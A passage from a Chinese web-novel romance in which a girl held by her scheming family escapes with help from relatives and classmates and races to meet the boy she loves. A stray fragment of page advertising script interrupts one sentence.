所以,李闻蝉过来真的只是为了问一道题。 池映雪慢慢直起身,手臂已然发麻。 “雪神。”穆雨阳叫她,“刚……蝉哥上来问题了。” “我还是不如你讲得好,要是你醒着就好了,给我俩都讲讲经验。” 池映雪垂下眼,从口袋里抽出手机打字:「李闻蝉和你都很聪明,用不到我。」 撮合失败。 穆雨阳挠了挠脸,嘶了一声。 “那倒是。”他干巴巴道,“不过蝉哥真的厉害,我听说这次期中考他数学选择涂错了,即使如此也只扣了涂错的那十分,而且总排进前十了呢。” 脑中有根弦似乎被轻轻地拨动了一下。 一连数日的混乱在一瞬间清明,但仅仅是一瞬。池映雪低下头,被地上的信封吸引了注意。 ——好像是刚才拿出手机时,从口袋里一并带出的。 池映雪捡起小信封,里面的明信片十分眼熟。 她送给李闻蝉的那一张。 漂亮的字迹端端正正,明信片的最底下黑笔晕开淡淡的墨痕。 李闻蝉:「池映雪,不知道你有没有听说,我今晚就要去HK了。」 「这次过去办理手续,要待一个月。当然,你要是愿意理我一下,我就不去了。」 「我等到六月十八日那天。那一天我会回南城,来虹文取个人档案。你要是依旧讨厌我,六月十八就是我这学期最后一次出现在这里;要是你对我有一点点好感,什么时候都可以来找我,但我不接受手机联络,这一月里我会把手机交给助理,不接收一切非紧急讯息。我要当面见你。」 信封里还有张高铁票。六月十八日晚八点整启程。商务座。背面用几张便签纸画有从虹文或老宅用各种交通工具前往车站的路线图。 虹文正门口,梧桐叶遮透满地光影。 韩潇靠在李闻蝉的黑色机车前,丢给慢悠悠踱过来的人影一顶头盔:“都安排好了,一会怎么走?” 李闻蝉抬起沉重的眼皮,奇怪地看了他一眼:“还能怎么走。” “不是吧哥。你真忍心让我一个人开车去机场?” 韩潇挑眉,“都被单方面断联了,还惦记你那专属后座呢?” 李闻蝉沉了脸,一声不吭。 直到跨上机车,戴好头盔,才冷淡道:“没惦记。” 韩潇:“……你真想好了?” “这趟去HK………”韩潇回头看了眼肃穆的教学楼,“也不怕玩砸了。” 骨节分明的手指轻轻点着粉色贴画,与黑机车格格不入。 叶光婆娑。 机车发动,引擎轰鸣盖过远处的铃声。 李闻蝉:“赌一把。” 六月,裴景高考结束,按照约定的那样,同池映雪、许苹安一起乘地铁。 这趟地铁上不仅有他们,还有很多大学生和等待拍视频的人。 背景嘈杂,池映雪回完池怀元的消息,约好一会在某站A口见面,将碎发别到耳后,沉默地扶了扶助听器。 裴景和许苹安窃窃私语一会,挤到池映雪耳边:“怎么不把那家伙也叫上?” 池映雪没答话,裴景皱眉:“闹矛盾了?我看你今天一直不开心。” “他欺负你了?” 池映雪摇头。没有。 她缓慢道:“……是我欺负他。” “不要这么说。” “我认识的池映雪,永远不会无缘无故‘欺负’别人。” 那是因为裴景对她有好友滤镜。 池映雪攥紧地铁冰凉的金属杆,听裴景说:“小雪,你要是‘欺负’别人,只有一个可能,那就是背负着更大的‘欺负’,又非要一个人硬撑着,不愿意讲。” “就像我和苹安刚认识你的那几年,你宁愿咬牙硬撑也不愿意告诉我们你被应家欺负受的那些委屈。宁愿骗我们是摔伤,也不肯说是应家那女人拿椅子打的,直到我们打算去小吃店给你个惊喜才撞破。” 胸口隐隐发闷。 裴景接着说:“其实我那时挺生气。” “不光气应家,也气你不把我们当真朋友。” 池映雪正要解释,裴景堵住了她的话:“我知道那时你可能是怕我们知道了却当做不知道,或者知道了要替你出头,指不定还要去和他们打上一架。但是既然是朋友,你认定我们,我们也认定你。” “如果你有事我们却什么都不知道,还整天乐呵呵地见你,没心没肺的玩耍,那我们自己都会鄙视自己的。” 池映雪的手指逐渐放松,眸光闪烁。 地铁的毕业祝福播报声终于在此刻响起:“前方到站香忻路站,请准备下车。岁月匆匆………” 上下车行人往来,助听器的红光暗淡,耳中一片翁乱。 池映雪索性关掉助听器,取出耳机,打开和李闻蝉的聊天记录。 手机里录音文件的进度条被拉到与地铁播报重合的位置。电流声中,男生清冽、熟悉、温柔的声音令人酥麻而酸涩:“……唯愿相逢。祝各位毕业生,身体健康,毕业快乐。” 播音结束。耳机内外同时陷入安静。 录音的播放条还有很长一小段,但已经连续数秒没有念白,应该只是不小心录到的。 以前每当这个时候,池映雪总会把进度条拉回去重新听一遍又一遍。但现在她置身人群,双手抓紧扶杆,只能等着空白的录音文件将最后的电流声播放完。 “滋……” “滋滋滋……………咳咳。” 耳机里忽然响起轻轻的咳嗽。 池映雪瞪大眼,不可置信地捏紧扶杆。李闻蝉的声音就这样充斥她的耳朵:“不知道你会不会发现这个彩蛋。” “但你听得见也好,听不见也罢,我都要说——” 很轻盈的一个停顿。 “李闻蝉,祝明年的毕业生池小雪同学,天天快乐。” “前程似锦,一路繁花。愿池小雪同学去更远的地方,见更亮的光。” 地铁从轨道驶出,夏日的阳光刺目,灼得人想哭。 她在远处,见亮光,那他呢? 李闻蝉似乎能够预见池映雪的问题,紧接着含笑道:“当然了,作为小跟班,池映雪去哪儿,李闻蝉就去哪儿。” “橡皮糖,是甩不掉的。” 恣意。轻狂。清声里带了些小得意,“而且别想着离开我。不管你去哪儿,我都会找到你。” “不会把你弄丢的,池映雪。” 可现在,算不算她把李闻蝉弄丢了。 虎牙咬紧唇瓣,圆圆的眼眸迸发出星点般的微光。 …………绝对不可以。 幸好。 池映雪想,幸好还来得及。 这几天,她一直把车票的明信片随身携带。今天要去见池怀元,池映雪穿的正好是李闻蝉送她的那条白色公主裙,背着她的小挎包,上面还有他们共同求来的挂件。 也用不着等到三天后,六月十八日的夜晚。 池映雪打开铁路系统,又转成飞机,买下今晚两小时的航班,正好和哥哥吃完晚饭就能启程。 虽然对机场不熟悉,上次坐飞机还有些害怕,但一想到是去HK见李闻蝉,池映雪没空理会那么多。 高铁还要中转,实在是太久了。不知道李闻蝉是怎么想的,要坐高铁,可能是效仿韩潇吧。 裴景和许苹安的家都在前方站点。池映雪先一步下车,来到约定好的A口。 夏天日落得格外早。刚出站就看见漫天蓝黑色,池映雪重新打开助听器,远处的鸣笛声接连响起。 不知道李闻蝉在HK,会不会也在看日落后的天空。 池映雪没有去过HK,倒是前不久被领着去办了通行证。上回送给她的巧克力和抹茶挞很好吃,听说那里的烟花也很漂亮。 池映雪在原地来回踱步,碎发垂落,被温热的晚风拂起。 手机握在手心,指尖点开和韩潇的聊天界面,想要先发条消息通通气。 “小雪。” 还没点击发送,池怀元温润的声音忽然从背后响起。 池映雪连忙回头,好久不见的哥哥却一反常态,将她的手机抽走。 池怀元身后跟着几个黑衣保镖,神色在深蓝黑的夜色里不甚明晰:“………带走她。” 池映雪下意识退后,却被瞬间捂住口鼻。 意识迷离,只能隐约感受到被带上一辆轿车。进车时还撞到脑袋,听见池怀元训斥保镖的声音。 池映雪正好磕到了刘海下那道已经完好的伤疤,痛楚散去,彻底昏迷过去的时候,陷入一个悠长的梦境。 也许并不是梦境。太真实,太遥远,像隔了一层薄纱布看相机里的场景。 公园的角落,盛夏炎炎。阳光透过绿树的缝隙洒落满地,光和影一起旋转,摇曳。 江声涛涛。 池映雪认出蹲在地上的女孩,那是童年时的她自己。 小女孩并没长开,五官稚嫩,应该是五岁左右,看起来却应该更小些。营养不良,比寻常小孩更矮小,更瘦弱。 所以池映雪并没有去和不远处霸占健身器材的孩子们一起玩。一来她是聋哑,二来她之前就尝试过走近,一靠近就有人指着她的小身板笑。池映雪分辨不清话语,却能分辨出恶意。 池映雪一个人蹲在地上玩猫。这猫小小一只,白白胖胖,脸上有一小圈棕黑。它脾气倒好,池映雪没吃的喂它,倒也愿意陪她一起玩。 “你怎么也是一个人?” 一层阴影带来清凉。池映雪抬起头。 ……好漂亮的小哥哥。 站在她面前的男孩很白,个子高,腿也很长。穿得精致贵气,衣服料子都惹眼,更别说那张过分逼人的脸。池映雪只在电视机里看见过这张的长相,可这个哥哥长得比那些童星还好看。 “问你话呢。”小哥哥的脾气不太好,皱着浓眉道,“……怎么,你也怕我?” 他在说什么? 语速太快了,池映雪看着他很红的嘴唇的认不出。 可池映雪不想让他知道她是个聋哑人。 周围的人都很嫌弃她。 虽然是第一次见,但池映雪一眨不眨地盯着男孩,不想让他也露出那种表情。 池映雪机灵地转了转眼珠,故意对他“嘘”了一声,指了指猫咪。 男孩挑起眉,成功接收到了池映雪的意思,在她身边蹲下。 没过多久还起身离开。池映雪以为他就这样走了,不由落寞了好一会。 小哥哥却很快回来,带着舒化奶和原味的鸡胸肉。 池映雪扫了一眼,都是便利店货架里最贵的那种。 趁着对方喂猫,池映雪悄悄低头看了看自己身上过分宽大的旧衣服,把脸埋进胳膊里。 她到底在想什么呀,哥哥怎么可能和她成为朋友? 池映雪今天是偷偷跑出来的。爸妈最近给弟弟找了个学前教育老师,每周末坐船进市区补习。 她好好表现了很久才能跟着来,可是教育机构有规定,没交钱的小朋友不能进,池映雪就只好在附近找了个公园溜达,等到时间了回去。 等第二个周末,池映雪一个人留在家里。 暑期闷热。为了防止池映雪再偷偷开空调享受,妈妈走的时候关了电闸。 池映雪在床上坐了很久,悄悄翻出唯一的一条白色棉布连衣裙还有私藏的几十块零钱,跑到码头乘船过江。 湿地公园里,池映雪真的又一次见到了那个哥哥。 小哥哥今天好像更好看了。居然穿了小西装。 池映雪远远就瞥见他的身影。这时正好有个老奶奶来向她问路,池映雪鬼使神差地在摆了摆手后,张嘴假装做出攀谈的口型。 “又是你。” 男孩皱着眉头,把池映雪拉到树林里,一板一眼地教导,“现在拐卖小朋友的坏蛋很多的,尤其是你这种……” 他摸了摸鼻尖,“一看就很好欺负的漂亮小女孩,最容易被拐了。你下次遇到这种情况,就说前面不远就有警察,有事去问他们,知道了吗?” 池映雪看出了他最后一句的口型,点了一下头。 男孩笑了起来,嘴唇特别红,眼睛特别亮:“你好乖啊。” 你好怪啊? 池映雪眨了眨眼,眸中闪过一丝落寞,还有些心虚,转过身去不敢看他。 男孩根本没给池映雪别扭的机会,很快再度跨到她面前。 “一回生二回熟,我们都第二次见了,肯定是上天注定的缘分。” “从今天开始,你……” 男孩咳嗽了好几声,目光飘忽。 “就做我李闻蝉的朋友吧。我在这里的第一个朋友。” 池映雪懵懵懂懂的,完全没看懂李闻蝉在说什么。 李闻蝉拧起眉:“……喂,你怎么又不理我。” “我又不是坏蛋。” 李闻蝉垂下睫毛。很长。 “干嘛都这么怕我,我会吃人吗?” “看来你现在还不愿意当我的朋友,连个名字都不肯交换。” 李闻蝉很快调整好心情,重振旗鼓,“但是没关系,我一定会努力成为你的朋友的,到时候你必须——必须把你的名字,亲笔写给我!” 池映雪猛然睁眼。 入目是漆黑的天花板。夜已经深了,空调的冷气充盈着装潢典雅的卧房,不知道这里是什么地方。 李闻蝉。 那个人一定是李闻蝉。池映雪看过李闻蝉妈妈的录像带,那张漂亮稚嫩的脸与记忆里如出一辙。 原来他们的交集真的这样早。 原来他说的那个童年“玩伴”,那个抛下过他的朋友,竟然是她吗? 池映雪现在才想起来被遗忘多年的记忆——她和李闻蝉约定再见,却在临行前,被折返回家给应光司取文具的应母发现。 应母没空和池映雪计较,直接把她锁在了家里。 那天还下着暴雨。全城范围内都是。 难怪他那么讨厌雨天。 后来李闻蝉说撞见她牵着另一个小朋友的手上船那天,池映雪也有了印象。那次她被应光司缠着过江玩,回家后就挨了毒打。 夏秋换季,池映雪带着一身伤被罚睡地板,发了很久的烧。醒来后关于之前的记忆就模模糊糊,也因此从听障变成了彻底聋哑。 她就这样忘了、错过了他。 啪嗒。门锁打开,又一个人被推了进来。 池映雪定睛一看,居然是池鲤鲤。 池鲤鲤用力拍门,确认真的无人理睬后才咬着牙回头,精致的面庞瞬间变得复杂。 池映雪居然在池鲤鲤一向盛气凌人的五官间,看见了愧疚。 “我不知道哥哥居然会这么做!要是知道,我,我怎么会叫你……” 池鲤鲤咬着牙,“他们怎么能这么做!疯了!” 池映雪至今都没想明白发生了什么。她揉了揉脑袋,闭目静思了片刻,哑着声道:“这里是哪里?” 房间陈设简单,连凳子都没有。 池鲤鲤一屁股 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 坐在地板上,又嫌脏,起身嫌弃地环视一圈:“大桥北面新区的独栋,当初家里随便买的,没想到今天倒派上这个用场。” 池映雪眯起眼,缓缓说:“池怀元设计骗我出来,变相软禁我,为了……争继承权?让爷爷那边妥协,或者直接pua,通过亲情感化我,让我为家里所用?” 现在都不叫哥哥了。 池鲤鲤沉默了半晌,点头:“我刚来的时候,爸……池润和池怀元在书房里是这么说的。” 基于对池鲤鲤的了解,池映雪确信道:“你该不会是直接闯进去,把他们俩趾高气扬地臭骂了一顿吧?” 池鲤鲤完全被说准,不乐意承认,过了好久才别别扭扭:“你可别误会,我怼他们、被锁进来纯属是因为我不能接受被当成传话筒利用,不接受这个家变得利欲熏心,和你可没一点关系。” 池映雪淡淡地环顾四周。 门被上了锁。只做了最基本的装修,什么文具、工具、器械都没有。 手机被收走了。 房间里只有一扇窗户,池映雪走过去向下看。这里是三楼,下面是一片荒草地,没有任何屋檐。 池鲤鲤看池映雪冷静得离奇,不由问:“喂。” “你就不伤心吗?” 池映雪正在观察空调的通风口,回过头:“我该伤心什么?” “伤心……哥哥,池怀元这样欺骗你。” 池鲤鲤皱眉,“你回来之前,哥哥对我百依百顺,所有人都羡慕我有这样一个宠爱我的好哥哥。可你回来了,你才是他的亲妹妹,爸妈的亲女儿,我身边很多人都变了副嘴脸。” “我现在可以很坦白地说,我就是不甘心被分走他们的爱,所以针对你、欺负你,我想看你出丑,告诉所有人你比不上我,配不上这份爱。尤其是当我看到妈妈给你买和我一模一样的奢侈品、哥哥为了你私下责怪我好多次,我就越来越讨厌你。” 可现在池鲤鲤忍不住想,是不是就算没有池映雪,她真的是池家的女儿、池怀元的亲妹妹,只要一不听话,他们也会这样对她? “我当然伤心。”池映雪说,“我就三个直系亲人,爸妈不信任,哥哥也欺骗我,满心利用,也许从我刚回来的时候,他对我那些好也是演出来的。” “你说他因为我斥责你,可他在我面前也说过你的坏话,让我多忍耐你,现在看来应该是挑拨离间吧,为了更好地控制我们。” 池鲤鲤如遭雷击。 池映雪想到什么,悠悠道:“其实你也发现了这些,只是从来不敢承认。” “毕竟你说,想让我出丑。” 可是有一个人让池映雪明白过,真的爱,根本不需要考虑是否出丑。 爱不是用来比较,也不是用来匹配的。 大概是在她跑完三千米,最最最狼狈的时候。 他说:“一直都漂亮啊。” 池映雪的眉眼慢慢冷下去。 她根本就不在乎被关禁闭、被囚禁,估计学校的事池润和池怀元都会打点好。 他们妄图利用池映雪和老爷子斗法,还专门挑了老爷子和大伯去国外出差、池静俭闭关创作的时候,肯定还是有所顾忌,不会伤害她。 池映雪只在乎一件事。 幸好被打晕前,池映雪紧紧护住了小挎包。他们收走了手机,却没注意这个小包。 车票、明信片都还在。池映雪松了口气。 池鲤鲤实在难以消化这过大的信息量。被池映雪这么一说,她人生前17年好似都白活了似的。 是呀,千娇百宠名声很好的池鲤鲤,后来见池映雪成绩优异又开始捧着她。池鲤鲤还在书房听到,池润说一定要利用这一回,让董事会认定池怀元为继承人,池鲤鲤和池映雪这么好的条件都得为“好哥哥”铺路,嫁出去联姻。 池鲤鲤喜欢看小说,曾经真的以为她拿着甜宠剧本。 池鲤鲤红着眼睛,一屁股坐到池映雪身边,看见了她刚好收起的车票。 “南城去深城,再去HK?” 池鲤鲤大为震惊,“你要去找……” 池映雪捂住她的嘴。池鲤鲤看着门外,点点头,比了个ok。 池鲤鲤憋了半天,实在难忍八卦:“他们传你俩谣言,原来是真的啊?” “你怎么会喜欢他?”池鲤鲤扬起下巴,“我感觉他好凶一男的。还是星桥哥哥那样温柔谦逊的好。” 池映雪本来不想搭理她,闻言反驳:“他一点都不凶,他特别好。” 池鲤鲤张口就想替沈星桥说话,但瞅了眼池映雪,终究闭上嘴。 每天都会有人定时定点敲门送饭。送饭的都是强壮的成年男性,池映雪和池鲤鲤分析过,她俩根本没法趁机冲出去。 第一天。第二天。第三天。 池映雪食不知味,呼叫系统:“现在还有什么剧情?我现在有一万多字,能不能全解锁了?” 系统这几天也在努力找到出去的办法,垂头丧气道:[宿主,你在剧情里这个时候已经下线了,剩下的都是池鲤鲤的“被宠”史,没有一点用呀。] 池映雪咬住唇,良久终于说出一个很不愿承认的事实:“在剧情里,我也被这样关起来了吧。” 记得之前系统无意中说漏过嘴,池映雪因为研学旅行走失加重心理问题,不能继续上学,在一处偏僻的别墅里独自禁闭三年,被送去…… 联姻。 三年,三天。就和历史重演似的。 她在这里不知道还要呆上多久,而李闻蝉去了HK。一切真的就和那个破剧情一模一样。 两条本不该相交的线重叠在某一点,可交集的下一步,依旧是沿着各自的轨迹分道扬镳。 无解的重叠,人们习惯称之为命运。 池映雪摸了摸小挎包里的车票,不免怀疑起之前的决定。 ……她真的要去找李闻蝉吗? 她真的,能找到他吗? [是的。]系统闷闷地回答池映雪刚才的提问,[有剧情,不过宿主并非主视角,所以只是作为对结局的补充说明,出现在边边角角。] [我都给你看过了,只有一个池鲤鲤视角有用,内容是三年后的池鲤鲤翻看和你所在的同一千金群聊,里面在讨论你被送去联姻的事。那些人为了讨好池鲤鲤、刺激你,故意说了些很难听的话。而你在听了这些话后,逃走了一整天,最后灰溜溜地自己回来了。] 池映雪屏住呼吸:“也就是说,一定有逃跑的办法?” [可我也反复确认过了,正文没有提到你的视角,咱们看不见怎么逃的。] 池映雪又一次陷入沉默。 一片寂静里,系统突然大叫:[啊啊啊宿主!按钮!那个按钮亮了!] 按理说池鲤鲤在这里,人物地点实践都对的上,池映雪可以像之前在J国十字路口看沈星桥的视角那样解锁池鲤鲤的“眼睛”。可按钮始终不亮。 系统还以为是时间不对的缘故,现在不知是不是别墅里来了个当时在场的人,按钮居然亮了! 池映雪的眼眸蓦然多了些光亮,手机群聊的界面浮现在面前。 「你们听说了吗?小偷要被送去联姻了!」 「天啊,刚满20就嫁人,是有多恨嫁啊?」 「哎呀,聋哑、品行差,还整天自闭在家里,阴森森的,能联姻为家里做点贡献也就是唯一一点好处了吧?」 「谁会娶她啊?别也是什么地中海大肚子的中年老板,两个没人要的货色凑一对!」 「肯定是的……」 池映雪记得她生日宴那天就被拉入到这个群聊里,那时估计也是。他们这些话,就是说给池映雪听的。 她根本不在乎一条条消息的内容,只从中窥探有没有有用的消息。 结果好半天都没等到。池映雪强迫自己耐心下来,目睹消息刷屏。 有人@上面的问题,池映雪看清那人的id,是邢芷:「我知道池映雪要联姻的是谁。」 邢芷:「是个大款老板。我爸爸叫他李总。估计就和什么张总、王总……一样,一听就是那种大腹便便的中年商业男士,不然怎么会看得上池映雪这种货色?我要是池映雪,现在就赶快拿着身份证逃走,逃得远远的,不结这个婚。」 「好歹同学一场,要是她来找我,我还是愿意帮她逃到国外去的。」 剧情世界里的池鲤鲤看到这里就切出了群聊。 视角结束。池映雪心如擂鼓。 姓氏不足以证明什么。 可是邢芷的反应…… 池鲤鲤捡起池映雪不慎掉在地上的筷子,擦干净后高傲道:“喂,我知道你和我一样生气,但饭不能不……” 四目相对。 “你。”池鲤鲤咋舌,“你干嘛这样看人?” 池映雪的眼睛本来就圆,此刻睁得大大的,像两枚黑色的珍珠或玻璃球,折射出异常闪烁的辉光。 池鲤鲤总觉得在什么地方见过类似的闪耀,仔细想想…… 很像是南城江河畔照映软水的灯景,在夜色下璀璨如星,这双眼眸却比灯火更明亮。 吱——— 猝不及防。房门被从外打开。 下午日落前的光束从门外涌泄而入,落下一道金黄的光芒。 99. 第 99 章 光芒的尽头,是池映雪从未设想过的人。 秦书的身后没有一个安保或阿姨。她攥紧钥匙,悄声进门。 “别墅里外都有人看守,但我已经打点好了后门的人。这是电梯救援用的固定绳索,小雪和鲤鲤你们现在赶紧用这个从窗户逃出去。”秦书小声叮嘱,将两个女孩朝窗边推,“老池的书房有监控,不知道他什么时候会发现。” 池鲤鲤眼眸发亮,又惊慌道:“那妈妈呢?妈妈你这样做……” 秦书僵硬了几秒,愧疚地看向池映雪:“家长会后,玉雯姐约我出去谈过。” “……家里确实不如老宅那边雄厚,但也有资本,养育两个千金完全不在话下。玉雯姐质问我为什么要纵容你和小雪相争,为什么不愿意相信自己的亲生女儿。” 而秦书居然不敢回答。 “我不敢承认我和老池的教育一直有问题。可我们的确……只在乎物质和回馈,不在乎你们本身;我们以为付出了很多,并且想索取你们的价值,所以伤害了你们,尤其是小雪。” “妈妈不是不爱你,我亲自怀胎十月的女儿,还有亲手养大十几年的女儿,怎么会不爱?” 秦书看着池映雪,边把绳索绑在她身上边垂下眼坦白,“我遇见老池前家里破产过,上个世纪八十年代,家里连糖都吃不起,所以我当时就想,我要让我未来的孩子天天吃得上甜点,和我最爱的糖醋小排。” “但我从来没有想过你不爱吃。玉雯姐还告诉我,你不喜欢鲜红色的书包、华丽褶边的小洋伞、印有显眼logo的大牌服饰。” “我给了你我认为最好的、亏欠你的,却在你说不想要的时候充耳不闻。玉雯姐说爱不该是这样子,正因为爱你,才该接受一切,也该意识到你有权利自己选择一切。”秦书系好结扣,双眼通红,“哪怕你想选的那些东西,在我看来并不好。” 与池映雪过分相似的圆眼中充满了诚恳和悔过。 秦书转身去帮池鲤鲤绑绳子,池映雪呆愣愣地看着她的背影,第一次在秦书保养精致的头发里窥得白丝。 系统见池映雪眼神复杂,问她:[宿主在想宿主妈妈说的话吗?] 池映雪点点头,又摇摇头。 她在想。 “系统你说,这番话……是不是对我也适用?” 池映雪紧紧攥住小挎包的挂件,“我对他,也是这样。” 秦书说的没错,裴景说的也没错。 “我知道好感度满值后,那家伙一定会放弃主角光环。我不想他失去这个身份,失去种种金手指,不想他和我们这些普通人一样努力才能取得优异的成果。” 可明明是和李闻蝉相关的事,明明是他们两个人的感情。 池映雪却瞒着他,一个人做完所有决定。 系统沉默半晌:[……所以宿主从来就没怀疑过男主不会选择你?] 池映雪看向窗外。 现在是六月十八日的晚六点整,太阳刚刚降落,天空豁然开朗,晕染开一片粉紫调的淡黄。 再远一点的江面之上,一定有波光粼粼的橘子海洋。 “——因为李闻蝉,从来都是个大笨蛋。” 砰砰砰!! 反锁的房门忽然传来一阵急促的敲击。池映雪听见池润的怒喝,还有让保镖踹门的命令。 池鲤鲤正好系完绳索,侧眸看了一眼,猛推池映雪:“你先走!” 哐当———— 保镖将门踹开,池润正好听见这句话,指着池鲤鲤大喊:“你这个假货,赶紧拦住她,不然我把你送回去!” 秦书上前拦住他:“你敢!” 池鲤鲤丝毫不怵,用尽全力拉扯池润身边那一个保镖,幸好只有一个。 池鲤鲤:“你爱送不送!我这几天想通了,你爱的不是我也不是池映雪,是你们培养的那个能带来荣誉的‘小公主’!我要是心里认定你们爱我,还会一直提心吊胆去和她争吗?” “你们花给我的钱我会努力挣回来还的,还不起就一直还,打欠条让所有人都来看你做了怎样一笔失败的投资!” 池映雪曾经用过电梯救援的绳索,又有系统看护,轻车熟路地缓缓下到荒草地。 但池润不会没想到秦书研究出的逃跑路线。也就是说…… 不等系统提醒,池映雪转身贴紧墙面,解开绳索做出抵抗的姿势。 池怀元带着一队人,眸光意味不明。 不远处的灌木丛后似乎有人声响起,池映雪不敢分神,只见池怀元很轻地叹了一声:“我当没看见。你快走吧。” 池映雪不由愣怔。 “老爷子对我和爸的评价没错。他利欲熏心,我性子太软。” 按照爸爸的筹谋,两个妹妹都是他前程的踏板。池怀元只需要两边端水,让她们为了得到他的支持而抢夺、讨好、付出。事实上他也是这么按步就章的。 “妹妹。”池怀元有点难过地笑了笑,“妹妹就是妹妹,不能当工具,对吧。” “我看到那张票,知道你要去车站找那个小少爷。” “……快去吧。我和妈妈干了很多后悔的事,你别让自己有遗憾。” 池怀元打发保镖们转身,把池映雪的手机还给她,指了指远处逐渐扩大的响动,“刚才有人来告诉我,后门停了两辆车,我想……应该是你的,朋友们。” 池映雪的眼眸亮了一下。 蓦然回首。 ——几张淌着汗的脸拨开灌木,关切又迫切地盯住她。 许苹安和胡挚二马当先,直接莽上来,从池怀元面前拉上池映雪就跑。 胡挚手里还拿了一根扫把,用来恐吓池怀元和保镖。池映雪被万苏瑶捉紧手腕带到灌木丛后,在秋怡的手上看见教鞭、章子健的手上看见篮球、穆雨阳的手上看见圆规、沈星桥的手上……居然是一把美工刀。 “你、你们怎么……” “哎呀!车在后门停着,边跑边说!” 万苏瑶急匆匆地再度抬脚,迎面的风又起,碎发吹拂在池映雪的鼻尖,酸酸痒痒。 “说起来还多亏一班的沈同学,要不是他偷听到他妈妈和你爸爸通电话商量,我们还真以为你是被老爷子他们一起带出国散心了呢!” 这都什么事呀!万苏瑶没好气道,“哦还有,他倒是会搜集人脉,居然不知怎么搞到了你那个艺术家堂哥的电话,你哥刚从闭关的山上下来,现在正在车里等着呢。沈同学也算将功折罪吧,呵呵!” 该说的都被万苏瑶说完了,沈星桥笑了笑。正好跑到后门外一大一小两辆车前,沈星桥为池映雪拉开大车副驾驶的门:“你们先走。后面那辆是我家的车,我……等等池鲤鲤,好歹算青梅竹马。” 池映雪回眸,认真地与他对视:“沈星桥。” “谢谢。” 沈星桥牵起嘴角,叹息一声。 他抬起手,在池映雪惊讶的目光里流畅、熟练地用手语比出一句话。 如果可以,我想在以后听见你说,没关系。 这次没有提前用手机查。 沈星桥目送池映雪上车,一回头,池鲤鲤不知何时已经跑了出来,正靠在沈家的轿车前,抿着嘴瞪他。 沈星桥拒绝私生迷妹的时候,其实也连带着拒绝过池鲤鲤。 池鲤鲤用下巴点了点远去的越野:“呵,怎么不追随你的真爱?” 按照沈星桥以往的德行,一定会对池鲤鲤无奈而宠溺地假惺惺笑,然后温柔淡漠道:“你在说什么啊?” 然而这次,沈星桥松了松校服领口,温润的面庞挂着一颗薄汗:“该说不愧是发小吗?” 只有要去见李闻蝉的时候,池映雪才会流露那样的神情。她恐怕自己都没意识到。 沈星桥睨向池鲤鲤,笑得格外放松,“去看她奔向李闻蝉,你是懂怎么让我心碎的。” 池鲤鲤:“你……” 她嘁了一声,嘲笑起来。 灌木丛和杂草地外,夏天傍晚的温风轻松地吹拂二人的笑颜。 “我突然发现,你这么笑比之前顺眼多了。难怪池映雪一直看不上你。” “我也这么觉得。但你可别再爱上我了,没结果的。” “……你还是变回去吧。” ——— 池映雪坐上车,果然见到板着脸的池静俭。 池映雪感觉他都快哭了,连忙学着李闻蝉的调调打趣:“好久不见,哥哥的面瘫脸又严重了。” 池静俭揉了揉红眼睛,先道了个歉,然后迅速踩下油门:“坐稳了。” “现在就送你们回学校,离开这个是非之地,老爷子和我爸妈也在回来的飞机上了。” 池映雪这才想起来——今天是周四! 晚自习好像安排了数学测验吧?! 池映雪张着嘴回头,和后排的大家面面相觑。 万苏瑶拧她的脸:“干嘛这幅表情?” 胡挚不以为意:“就是!缺节晚自习可以补,当然是拯救我们雪神更重要!” 秋怡乐呵呵道:“放心,萌萌姐准假了,还让我们多多关心你呢!” 穆雨阳补充:“老齐居然也没说什么!他还说搞不定的话,他认识警局的人,可以帮忙!” 章子健:“这几天你落下的课也不用担心,我们刚问过,一班的孟同学有做笔记的习惯,她还说晚上可以一对一给你补课。” 池映雪红着眼眶回头,池静俭瞄了一眼,悄声笑起来:“我们小雪交到了一群不错的朋友呀。” 池映雪用力点了点头。 只是朋友还不够。 池映雪小声对池静俭说:“他们……和哥哥一样。” “也是我的家人。” 池静俭有些讶异,转念又觉得合理。 他们是我的家人。 我自己找到的他们。 池映雪在生日的时候许过愿,希望和大家就像群名称那样,永远在一起。 “这是……那个人告诉我的。” 妹妹的声音软软的,像沾了湿雨的小蛋糕。 池静俭不是滋味:“噢、那个爱看星际宝贝的幼稚臭小子。” 池映雪吸了吸鼻子。 友谊地久天长。可在友谊和亲情之外,还有第三种关系。 “哥哥,可不可以先送我去高铁站?” 李闻蝉今天短暂回南城的事只告诉了池映雪,胡挚他们也没见到他的人。 刚才匆匆去办公室请假的时候,倒是听徐静萌说她见过李闻蝉,确实是准备乘八点那趟车辗转回HK没错。 胡挚:“蝉哥之前就说要闭关断联一个月,这下手机还是打不通。” “他闭哪门子关。”池静俭脸黑到不行,“他也搞艺术创作?” 逃避现实罢了。池静俭都能想到那家伙的心路历程。 无非是觉得手机里不会有某人找,所以干脆把手机扔了。 啧。这么看来有点像小雪回家前——以前的李闻蝉,或者说,池静俭印象中的李闻蝉,本来就不爱用手机,不爱通讯。 池静俭只是纳闷,按理说李闻蝉没手机也有助理帮忙留意紧急事项,他们总会有联系的方式。 还有韩潇。池静俭给韩潇致电,也打不通,诡异得就和老天从中作梗一样。 上一秒刚有这个想法,下一秒,夏日的傍晚时分,从天而降猛烈的暴雨—— 他们的车才开到长江大桥的一半,就因为雨夜路滑导致的连环车祸,不得不堵在桥上。 雨刷来回刮动,像不停运转的秒针。 池映雪一次又一次朝窗外看,心急如焚。 从这里能看见被暴雨洗礼过的江面,码头的轮渡已经暂停。 湿地公园影影绰绰,玻璃栈桥被完全遮挡。 此时此刻,遥远的高铁站。 韩潇踏入进站口,又退回两步,伸手接着伞外的雨:“说下就下啊。” “真够大的,这风好冻人。”韩潇戳了下李闻蝉的黑皮衣外套,“你是不是早知道要下雨?特地穿了外套。” 李闻蝉抿了抿嘴,转过身眺望远方乌云遍布的天空,沉闷不语。 黑眸闪过深深的懊恼与矛盾。 韩潇:“这么大的雨……不来了也情有可原。” 韩潇拍拍他,试探问:“要不,别等了。” 这才六点半。来这么早,韩潇怕好友失望加倍。 “都六点半了。” 车里,池映雪和系统计算,“从这里到高铁站大约23分钟,按快捷通道考虑,30分钟可以到。” 只要不堵上一个小时,按理说没问题。 系统测算了一番,大叫一声。 池映雪:“是不是前面路通了?” [不,不是……] 系统快哭了,[宿主,又撞了一辆!这大雨天,前面突然有个du驾的疯子,完了……] 池映雪攥紧拳,看向窗外沉重的天空。 暴雨来得快,去得也快。越下越小,可车还是动不得分毫。 